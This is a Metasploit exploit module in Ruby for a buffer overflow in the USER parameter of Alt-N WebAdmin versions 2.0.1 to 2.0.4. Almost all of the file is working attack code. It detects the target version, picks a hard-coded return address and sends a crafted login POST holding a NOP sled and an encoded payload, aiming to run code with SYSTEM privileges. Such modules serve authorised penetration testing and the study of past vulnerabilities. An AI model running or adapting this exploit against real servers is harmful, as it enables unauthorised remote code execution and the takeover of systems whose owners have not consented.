117 lines
2.9 KiB
Ruby
117 lines
2.9 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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module Msf
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class Exploits::Windows::Http::ALTN_WebAdmin_Overflow < Msf::Exploit::Remote
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include Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Alt-N WebAdmin USER Buffer Overflow',
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'Description' => %q{
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Alt-N WebAdmin is prone to a buffer overflow condition. This
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is due to insufficient bounds checking on the USER
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parameter. Successful exploitation could result in code
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execution with SYSTEM level privileges.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'BID', '8024'],
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[ 'NSS', '11771'],
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[ 'MIL', '95'],
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],
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'Privileged' => false,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 830,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['WebAdmin 2.0.4 Universal', { 'Ret' => 0x10074d9b }], # 2.0.4 webAdmin.dll
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['WebAdmin 2.0.3 Universal', { 'Ret' => 0x10074b13 }], # 2.0.3 webAdmin.dll
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['WebAdmin 2.0.2 Universal', { 'Ret' => 0x10071e3b }], # 2.0.2 webAdmin.dll
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['WebAdmin 2.0.1 Universal', { 'Ret' => 0x100543c2 }], # 2.0.1 webAdmin.dll
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],
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'DisclosureDate' => 'Jun 24 2003'))
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end
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# Identify the target based on the WebAdmin version number
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def autofilter
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res = send_request_raw({
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'uri' => '/WebAdmin.DLL'
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}, -1)
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if (res and res.body =~ /WebAdmin.*v(2\..*)$/)
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case $1
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when /2\.0\.4/
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datastore['TARGET'] = 0
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when /2\.0\.3/
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datastore['TARGET'] = 1
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when /2\.0\.2/
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datastore['TARGET'] = 2
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when /2\.0\.1/
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datastore['TARGET'] = 3
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else
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return false
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end
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return true
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end
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# Not vulnerable
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return false
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end
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def exploit
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user_cook = rand_text_alphanumeric(2)
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post_data = 'User=' + make_nops(168) + [target.ret].pack('V') + payload.encoded
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post_data << '&Password=wtf&languageselect=en&Theme=Heavy&Logon=Sign+In'
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print_status("Sending request...")
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res = send_request_cgi({
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'uri' => '/WebAdmin.DLL',
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'query' => 'View=Logon',
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'method' => 'POST',
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'content-type' => 'application/x-www-form-urlencoded',
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'cookie' => "User=#{user_cook}; Lang=en; Theme=standard",
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'data' => post_data,
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'headers' =>
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{
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'Accept' => 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png',
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'Accept-Language' => 'en',
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'Accept-Charset' => 'iso-8859-1,*,utf-8'
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}
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}, 5)
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handler
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end
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end
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end
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